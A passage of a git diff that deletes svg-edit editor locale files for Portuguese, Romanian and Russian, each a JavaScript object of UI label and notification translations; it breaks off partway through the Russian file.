-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "Delete Layer",
-		"move_down": "Move Layer Down",
-		"new": "New Layer",
-		"rename": "Rename Layer",
-		"move_up": "Move Layer Up",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "Select predefined:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer \"%s\"?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.pt-PT.js b/public/svg-edit/editor/locale/lang.pt-PT.js
deleted file mode 100644
index 22a21f91..00000000
--- a/public/svg-edit/editor/locale/lang.pt-PT.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "pt-PT",
-	dir : "ltr",
-	common: {
-		"ok": "Salvar",
-		"cancel": "Cancelar",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "Clique para mudar a cor de preenchimento, shift-clique para mudar a cor do curso",
-		"zoom_level": "Alterar o nível de zoom",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Alterar a cor de preenchimento",
-		"stroke_color": "Mudar a cor do curso",
-		"stroke_style": "Alterar o estilo do traço do curso",
-		"stroke_width": "Alterar a largura do curso",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "Alterar o ângulo de rotação",
-		"blur": "Change gaussian blur value",
-		"opacity": "Mude a opacidade item selecionado",
-		"circle_cx": "Cx Mudar círculo de coordenadas",
-		"circle_cy": "Círculo Mudança cy coordenar",
-		"circle_r": "Alterar círculo de raio",
-		"ellipse_cx": "Alterar elipse cx coordenar",
-		"ellipse_cy": "Elipse Mudança cy coordenar",
-		"ellipse_rx": "Raio X Change elipse",
-		"ellipse_ry": "Raio y Change elipse",
-		"line_x1": "Altere a linha de partida coordenada x",
-		"line_x2": "Altere a linha está terminando coordenada x",
-		"line_y1": "Mudança na linha de partida coordenada y",
-		"line_y2": "Mudança de linha está terminando coordenada y",
-		"rect_height": "Alterar altura do retângulo",
-		"rect_width": "Alterar a largura retângulo",
-		"corner_radius": "Alterar Corner Rectangle Radius",
-		"image_width": "Alterar a largura da imagem",
-		"image_height": "Alterar altura da imagem",
-		"image_url": "Alterar URL",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "Alterar o conteúdo de texto",
-		"font_family": "Alterar fonte Família",
-		"font_size": "Alterar tamanho de letra",
-		"bold": "Bold Text",
-		"italic": "Texto em itálico"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "Mudar a cor de fundo / opacidade",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "Ajustar ao conteúdo",
-		"fit_to_all": "Ajustar a todo o conteúdo",
-		"fit_to_canvas": "Ajustar à tela",
-		"fit_to_layer_content": "Ajustar o conteúdo da camada de",
-		"fit_to_sel": "Ajustar à selecção",
-		"align_relative_to": "Alinhar em relação a ...",
-		"relativeTo": "em relação ao:",
-		"Página": "Página",
-		"largest_object": "maior objeto",
-		"selected_objects": "objetos eleitos",
-		"smallest_object": "menor objeto",
-		"new_doc": "Nova Imagem",
-		"open_doc": "Abrir Imagem",
-		"export_png": "Export as PNG",
-		"save_doc": "Salvar Imagem",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Align Bottom",
-		"align_center": "Alinhar ao centro",
-		"align_left": "Alinhar à Esquerda",
-		"align_middle": "Alinhar Médio",
-		"align_right": "Alinhar à Direita",
-		"align_top": "Align Top",
-		"mode_select": "Selecione a ferramenta",
-		"mode_fhpath": "Ferramenta Lápis",
-		"mode_line": "Ferramenta Linha",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Free-Hand Rectangle",
-		"mode_ellipse": "Elipse",
-		"mode_circle": "Circle",
-		"mode_fhellipse": "Free-Hand Ellipse",
-		"mode_path": "Path Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Ferramenta de Texto",
-		"mode_image": "Image Tool",
-		"mode_zoom": "Zoom Tool",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "Desfazer",
-		"redo": "Refazer",
-		"tool_source": "Fonte Editar",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Elementos do Grupo",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "Elementos Desagrupar",
-		"docprops": "Propriedades do Documento",
-		"imagelib": "Image Library",
-		"move_bottom": "Move to Bottom",
-		"move_top": "Move to Top",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Salvar",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "Delete Layer",
-		"move_down": "Move camada para baixo",
-		"new": "New Layer",
-		"rename": "Rename Layer",
-		"move_up": "Move Layer Up",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "Selecione predefinidos:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.ro.js b/public/svg-edit/editor/locale/lang.ro.js
deleted file mode 100644
index ea1e66c3..00000000
--- a/public/svg-edit/editor/locale/lang.ro.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "ro",
-	dir : "ltr",
-	common: {
-		"ok": "Ok",
-		"cancel": "Anulaţi",
-		"key_backspace": "backspace", 
-		"key_del": "stergere", 
-		"key_down": "jos", 
-		"key_up": "sus", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Aratati/ascundeti mai multe unelte de contur",
-		"palette_info": "Faceţi clic a schimba culoare de umplere, Shift-click pentru a schimba culoarea de contur",
-		"zoom_level": "Schimbarea nivelului de zoom",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Schimbarea culorii de umplere",
-		"stroke_color": "Schimbarea culorii de contur",
-		"stroke_style": "Schimbarea stilului de contur",
-		"stroke_width": "Schimbarea lăţime de contur",
-		"pos_x": "Schimba coordonata X",
-		"pos_y": "Schimba coordonata Y",
-		"linecap_butt": "Capat de linie: Butuc",
-		"linecap_round": "Capat de linie: Rotund",
-		"linecap_square": "Capat de linie: Patrat",
-		"linejoin_bevel": "Articulatia liniei: Tesita",
-		"linejoin_miter": "Articulatia liniei: Unghi ascutit",
-		"linejoin_round": "Articulatia liniei: Rotunda",
-		"angle": "Schimbarea unghiul de rotatie",
-		"blur": "Schimbarea valorii estomparii gaussiene",
-		"opacity": "Schimbarea selectat opacitate element",
-		"circle_cx": "Schimbarea coordonatei CX a cercului",
-		"circle_cy": "Schimbarea coordonatei CY a cercului",
-		"circle_r": "Schimbarea razei cercului",
-		"ellipse_cx": "Schimbarea coordonatei CX a elipsei",
-		"ellipse_cy": "Schimbarea coordonatei CY a elipsei",
-		"ellipse_rx": "Schimbarea razei elipsei X",
-		"ellipse_ry": "Schimbarea razei elipsei Y",
-		"line_x1": "Schimbare coordonatei x a punctului de start",
-		"line_x2": "Schimbare coordonatei x a punctului final",
-		"line_y1": "Schimbare coordonatei y a punctului de start",
-		"line_y2": "Schimbare coordonatei y a punctului final",
-		"rect_height": "Schimbarea înălţimii dreptunghiului",
-		"rect_width": "Schimbarea lăţimii dreptunghiului",
-		"corner_radius": "Schimbarea Razei Colţului Dreptunghiului",
-		"image_width": "Schimbarea Lăţimii imaginii",
-		"image_height": "Schimbarea Înălţimii imaginii",
-		"image_url": "Schimbaţi URL-ul",
-		"node_x": "Schimba coordonata x a punctului",
-		"node_y": "Schimba coordonata x a punctului",
-		"seg_type": "Schimba tipul de segment",
-		"straight_segments": "Drept",
-		"curve_segments": "Curv",
-		"text_contents": "Schimbarea Conţinutului textului",
-		"font_family": "Modificare familie de Fonturi",
-		"font_size": "Schimbă dimensiunea fontului",
-		"bold": "Text Îngroşat",
-		"italic": "Text Înclinat"
-	},
-	tools: { 
-		"main_menu": "Menu Principal",
-		"bkgnd_color_opac": "Schimbare culoare de fundal / opacitate",
-		"connector_no_arrow": "Fără Săgeată",
-		"fitToContent": "Dimensionare la Conţinut",
-		"fit_to_all": "Potrivire la tot conţinutul",
-		"fit_to_canvas": "Potrivire la Şevalet",
-		"fit_to_layer_content": "Potrivire la conţinutul stratului",
-		"fit_to_sel": "Potrivire la selecţie",
-		"align_relative_to": "Alinierea în raport cu ...",
-		"relativeTo": "în raport cu:",
-		"de start": "de start",
-		"largest_object": "cel mai mare obiect",
-		"selected_objects": "obiectele alese",
-		"smallest_object": "cel mai mic obiect",
-		"new_doc": "Imagine nouă",
-		"open_doc": "Imagine deschisă",
-		"export_png": "Exportare ca şi PNG",
-		"save_doc": "Salvare Imagine",
-		"import_doc": "Importare SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Alinierea jos",
-		"align_center": "Aliniere la centru",
-		"align_left": "Aliniere la stânga",
-		"align_middle": "Aliniere la mijloc",
-		"align_right": "Aliniere la dreapta",
-		"align_top": "Alinierea sus",
-		"mode_select": "Unealta de Selectare",
-		"mode_fhpath": "Unealta de Traiectorie",
-		"mode_line": "Unealta de Linie",
-		"mode_connect": "Conectati doua obiecte",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Dreptunghi cu mana-libera",
-		"mode_ellipse": "Elipsă",
-		"mode_circle": "Cerc",
-		"mode_fhellipse": "Elipsă cu mana-libera",
-		"mode_path": "Unealta de Path",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Unealta de Text",
-		"mode_image": "Unealta de Imagine",
-		"mode_zoom": "Unealta de Zoom",
-		"mode_eyedropper": "Unealta de Eye Dropper",
-		"no_embed": "NOTE: Aceasta imagine nu poate fi inglobata. Va depinde de aceasta traiectorie pentru a fi prezentata.",
-		"undo": "Anulare",
-		"redo": "Refacere",
-		"tool_source": "Editare Cod Sursa",
-		"wireframe_mode": "Mod Schelet",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Grupare  Elemente",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Converteste in Traiectorie",
-		"reorient_path": "Reorienteaza Traiectoria",
-		"ungroup": "Anulare Grupare Elemente",
-		"docprops": "Propertile Documentului",
-		"imagelib": "Image Library",
-		"move_bottom": "Mutare în jos",
-		"move_top": "Mutare în sus",
-		"node_clone": "Cloneaza Punct",
-		"node_delete": "Sterge Punct",
-		"node_link": "Uneste Punctele de Control",
-		"add_subpath": "Adaugati sub-traiectorie",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Folositi Schimbarile",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"stergere": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Strat",
-		"layers": "Layers",
-		"del": "Ştergeţi Strat",
-		"move_down": "Mutare Strat în Jos",
-		"new": "Strat Nou",
-		"rename": "Redenumiţi Strat",
-		"move_up": "Mutare Strat în Sus",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Muta elemente la:",
-		"move_selected": "Muta elementele selectate pe un alt strat"
-	},
-	config: {
-		"image_props": "Proprietaţile Imaginii",
-		"doc_title": "Titlul",
-		"doc_dims": "Dimensiunile Sevaletuui",
-		"included_images": "Imaginile Incluse",
-		"image_opt_embed": "Includeţi Datele (fisiere locale)",
-		"image_opt_ref": "Foloseste referinte la fisiere",
-		"editor_prefs": "Preferintele Editorului",
-		"icon_size": "Dimensiunile Butoanelor",
-		"language": "Limba",
-		"background": "Fondul Editorului",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Nota: Fondul nu va fi salvat cu imaginea.",
-		"icon_large": "Mari",
-		"icon_medium": "Medii",
-		"icon_small": "Mici",
-		"icon_xlarge": "Foarte Mari",
-		"select_predefined": "Selecţii predefinite:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Valoarea data nu este valida",
-		"noContentToFitTo":"Fara continut de referinta",
-		"dupeLayerName":"Deja exista un strat numis asa!",
-		"enterUniqueLayerName":"Rog introduceti un nume unic",
-		"enterNewLayerName":"Rog introduceti un nume pentru strat",
-		"layerHasThatName":"Statul deja are acest nume",
-		"QmoveElemsToLayer":"Mutati elementele selectate pe stratul '%s'?",
-		"QwantToClear":"Doriti sa stergeti desenul?\nAceasta va sterge si posibilitatea de anulare!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"Sunt erori de parsing in sursa SVG.\nRevenire la sursa SVG  orginala?",
-		"QignoreSourceChanges":"Ignorati schimbarile la sursa SVG?",
-		"featNotSupported":"Functie neimplementata",
-		"enterNewImgURL":"Introduceti noul URL pentru Imagine",
-		"defsFailOnSave": "NOTE: Din cauza unei erori in browserul dv., aceasta imagine poate apare gresit (fara gradiente sau elemente). Insa va apare corect dupa salvare.",
-		"loadingImage":"Imaginea se incarca, va rugam asteptati...",
-		"saveFromBrowser": "Selecteaza \"Salvea ca si...\" in browserul dv. pt. a salva aceasta imafine ca si fisier %s.",
-		"noteTheseIssues": "De asemeni remarcati urmatoarele probleme: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.ru.js b/public/svg-edit/editor/locale/lang.ru.js
deleted file mode 100644
index c2d7e7d9..00000000
--- a/public/svg-edit/editor/locale/lang.ru.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "ru",
-	dir : "ltr",
-	common: {
-		"ok": "Сохранить",
-		"cancel": "Отменить",
-		"key_backspace": "Backspace", 
-		"key_del": "Delete", 
-		"key_down": "Вниз", 
-		"key_up": "Вверх", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "Нажмите для изменения цвета заливки, Shift-Click изменить цвета обводки",
-		"zoom_level": "Изменить масштаб",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Изменить цвет заливки",
-		"stroke_color": "Изменить цвет обводки",
-		"stroke_style": "Изменить стиль обводки",
-		"stroke_width": "Изменить толщину обводки",
-		"pos_x": "Изменить горизонтальный координат",
-		"pos_y": "Изменить вертикальный координат",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "Изменить угол поворота",
-		"blur": "Change gaussian blur value",
-		"opacity": "Изменить непрозрачность элемента",
-		"circle_cx": "Изменить горизонтальный координат (CX) окружности",
-		"circle_cy": "Изменить вертикальный координат (CY) окружности",
-		"circle_r": "Изменить радиус окружности",
-		"ellipse_cx": "Изменить горизонтальный координат (CX) эллипса",
-		"ellipse_cy": "Изменить вертикальный координат (CY) эллипса",
-		"ellipse_rx": "Изменить горизонтальный радиус эллипса",
-		"ellipse_ry": "Изменить вертикальный радиус эллипса",
-		"line_x1": "Изменить горизонтальный координат X начальной точки линии",
-		"line_x2": "Изменить горизонтальный координат X конечной точки линии",
-		"line_y1": "Изменить вертикальный координат Y начальной точки линии",
-		"line_y2": "Изменить вертикальный координат Y конечной точки линии",
-		"rect_height": "Изменениe высоту прямоугольника",
-		"rect_width": "Измененить ширину прямоугольника",
-		"corner_radius": "Радиус закругленности угла",
-		"image_width": "Изменить ширину изображения",
-		"image_height": "Изменить высоту изображения",
-		"image_url": "Изменить URL",
-		"node_x": "Изменить горизонтальную координату узла",
-		"node_y": "Изменить вертикальную координату узла",
-		"seg_type": "Изменить вид",
-		"straight_segments": "Отрезок",
-		"curve_segments": "Сплайн",
-		"text_contents": "Изменить содержание текста",
-		"font_family": "Изменить семейство шрифтов",
-		"font_size": "Изменить размер шрифта",
-		"bold": "Жирный",
-		"italic": "Курсив"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "Изменить цвет фона или прозрачность",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "Под размер содержимого",
-		"fit_to_all": "Под размер всех слоев",
-		"fit_to_canvas": "Под размер холста",
-		"fit_to_layer_content": "Под размер содержания слоя",
-		"fit_to_sel": "Под размер выделенного",
-		"align_relative_to": "Выровнять по отношению к ...",
-		"relativeTo": "По отношению к ",
-		"страница": "страница",
-		"largest_object": "Наибольший объект",
-		"selected_objects": "Выделенные объекты",
-		"smallest_object": "Самый маленький объект",
-		"new_doc": "Создать изображение",
-		"open_doc": "Открыть изображение",
-		"export_png": "Export as PNG",
-		"save_doc": "Сохранить изображение",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Выровнять по нижнему краю",
-		"align_center": "Центрировать по вертикальной оси",
-		"align_left": "По левому краю",
-		"align_middle": "Центрировать по горизонтальной оси",
-		"align_right": "По правому краю",
-		"align_top": "Выровнять по верхнему краю",
-		"mode_select": "Выделить",
-		"mode_fhpath": "Карандаш",
-		"mode_line": "Линия",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Прямоугольник от руки",
-		"mode_ellipse": "Эллипс",
-		"mode_circle": "Окружность",
-		"mode_fhellipse": "Эллипс от руки",
-		"mode_path": "Контуры",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Текст",
-		"mode_image": "Изображение",
-		"mode_zoom": "Лупа",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "Отменить",
-		"redo": "Вернуть",
-		"tool_source": "Редактировать исходный код",
-		"wireframe_mode": "Каркас",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Создать группу элементов",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "В контур",
-		"reorient_path": "Изменить ориентацию контура",
-		"ungroup": "Разгруппировать элементы",
-		"docprops": "Свойства документа",
-		"imagelib": "Image Library",
-		"move_bottom": "Опустить",
-		"move_top": "Поднять",
-		"node_clone": "Создать копию узла",
-		"node_delete": "Удалить узел",
-		"node_link": "Связать узлы",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Сохранить",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"Delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Слой",
-		"layers": "Layers",
-		"del": "Удалить слой",
-		"move_down": "Опустить слой",
-		"new": "Создать слой",
-		"rename": "Переименовать Слой",
-		"move_up": "Поднять слой",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Переместить выделенные элементы:",
-		"move_selected": "Переместить выделенные элементы на другой слой"
-	},
-	config: {
-		"image_props": "Свойства изображения",
-		"doc_title": "Название",
-		"doc_dims": "Размеры холста",
-		"included_images": "Встроенные изображения",
-		"image_opt_embed": "Локальные файлы",
-		"image_opt_ref": "По ссылкам",
-		"editor_prefs": "Параметры",
-		"icon_size": "Размер значков",
-		"language": "Язык",
-		"background": "Фон",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "(Фон не сохранится вместе с изображением.)",
-		"icon_large": "Большие",
-		"icon_medium": "Средние",
-		"icon_small": "Малые",
-		"icon_xlarge": "Огромные",
-		"select_predefined": "Выбирать предопределенный размер",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Некорректное значение аргумента",
-		"noContentToFitTo":"Нет содержания, по которому выровнять.",
-		"dupeLayerName":"Слой с этим именем уже существует.",
-		"enterUniqueLayerName":"Пожалуйста, введите имя для слоя.",
-		"enterNewLayerName":"Пожалуйста, введите новое имя.",
-		"layerHasThatName":"Слой уже называется этим именем.",
-		"QmoveElemsToLayer":"Переместить выделенные элементы на слой '%s'?",
-		"QwantToClear":"Вы хотите очистить?\nИстория действий будет забыта!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
